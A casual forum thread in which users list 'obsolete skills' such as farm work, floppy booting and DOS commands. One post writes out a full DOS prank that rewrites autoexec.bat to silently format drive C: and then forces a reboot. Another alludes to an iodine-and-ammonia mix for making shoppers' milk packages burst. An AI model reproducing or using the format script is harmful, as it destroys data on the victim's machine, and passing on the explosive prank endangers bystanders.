How many obsolete skills do you know?

[torpid]

I got tired of reading after the end of the Cs and am at 27 currently.

 

[FoBoT]

i know how to make butter from raw milk
i can make apple cider
i can milk a cow
i can castrate a sheep/pig/cow
i can remove sheep tails
i could sheer a sheep in a pinch
i could plow/harrow/plant a field

but living on a farm is too much work

 

[PingSpike]

You guys don't use floppies to boot ever? I'll occasionally run memtest off a floppy, and I'd say I've used the windows 98 boot disk within the last year. And of course, I sometimes need to load a disk controller drive during an install.

 

[EKKC]

FTP from a command line is obsolete? WTF?

 

[OdiN]

lol @ Banyan Vines

 

[Rubycon]

Text

Since when is calling a sex line a skill? :roll:

There is no such thing as an obsolete skill. The more things that you can do and remember the more versatile you are - in the future.

 

[MagnusTheBrewer]

I'm grinning to myself about those that think most/all of the items on that list are obsolete. Look no further for a list of Darwin award nominees.

 

[BillGates]

I used to know how to use an Apple computer from elementary school - does that count? Do people still use Apple computers?

 

[OdiN]

Originally posted by: Rubycon
Text

Since when is calling a sex line a skill? :roll:

There is no such thing as an obsolete skill. The more things that you can do and remember the more versatile you are - in the future.

Like Googling and copying and pasting. That's some awesome skills.

 

[Rubycon]

Originally posted by: BillGates
Do people still use Apple computers?

Oh the irony username vs. text... :laugh:

Yes they do! Even the x86 crapintosh featuring the suck-it 370 tullwhipin processor, precision regulated Deer-tick power supply, and searing channel raid controller by VIAnoworks tech.

 

[andylawcc]

no one mentinoed DOS commands?

deltree
del
rename
move
copy
dir /w/p/a/h
attribute +a +h
scandisk
himem.sys (oh wait, that's something else) ;p

 

[AkumaX]

I had the ability to beat U.N. Squadron (arcade version) with 1 Quarter. Most Useless Skill Ever.
http://en.wikipedia.org/wiki/U.N._Squadron

 

[Anubis]

Zone-system Calculation For Photographic Exposures

BS Zone > fucking anything

 

[mundane]

Originally posted by: lozina
...

yeah but, you still remember how to do that? I mean I had to do that alot playing games like Master of Magic and Master of Orion but if I had to do it again right now I'd be totally lost. If you still remember how to do that then you got some damn good RAM in your head.

Vaguely.

 

[meltdown75]

anyone needing to know the difference between geek and nerd should check this thread out.

 

[OdiN]

Originally posted by: andylawcc
no one mentinoed DOS commands?

deltree
del
rename
move
copy
dir /w/p/a/h
attribute +a +h
scandisk
himem.sys (oh wait, that's something else) ;p

I always found the following sequence to be quite funny.

Copy Con c:\debug.txt
E 40:72 34 12
RCS
FFFF
RIP
0000
G
^Z
Copy Con c:\y.txt
y

^Z
Copy Con c:\autoexec.bat
format c: /q < y.txt > NULL
^Z
Copy Con reboot.bat
debug < debug.txt
^Z
reboot

 

[zebano]

Originally posted by: andylawcc
no one mentinoed DOS commands?

deltree
del
rename
move
copy
dir /w/p/a/h
attribute +a +h
scandisk
himem.sys (oh wait, that's something else) ;p

You forgot fdisk.

 

[meltdown75]

i can blow smoke rings and can also do a really good morning dove call.

wait, those are useful skills. n/m

 

[rudder]

Originally posted by: IcebergSlim
booting with floppies? Do you still pump your foot when operating your cotton gin?

Can't pump the foot... makes too much wind and blows out the candles!

Yeh, I still boot with floppies. I have a network boot disk here at work and when I make changes to it they are not saved if I boot off a CD. But all of our new servers do not have floppies... so I guess I will start having to boot from a thumb drive.

 

[Sumguy]

I know how to make a Nintendo work when the game gets all glitchy.

Is that obsolete?

 

[Linflas]

Since I know most of the ones under A I am going to assume a lot of them

 

[newb111]

None of my computers have floppy drives anymore. No more floppy booting for me.

 

[randay]

inventing the wheel.

 

[Fenixgoon]

Originally posted by: lozina
Calculating THAC0

I need to do this at my job to determine if I hit my boss who is wearing full plate mail armor with my vorpal sword +10

jesus christ you have a vorpal sword +10? must be a goddamn weakling mage without tensor's transformation :laugh:

 

[JohnOfSheffield]

Knowing Algol, it's a programming language.

Knowing the right amount of iodine and ammonia to make milk packages burst open when someone put them in their cart (maybe not so obsolete, but you couldn't even find the recepie on the net for this, it's effects is shown rather often on discovery though)

Knowing how to disassemble a carburator.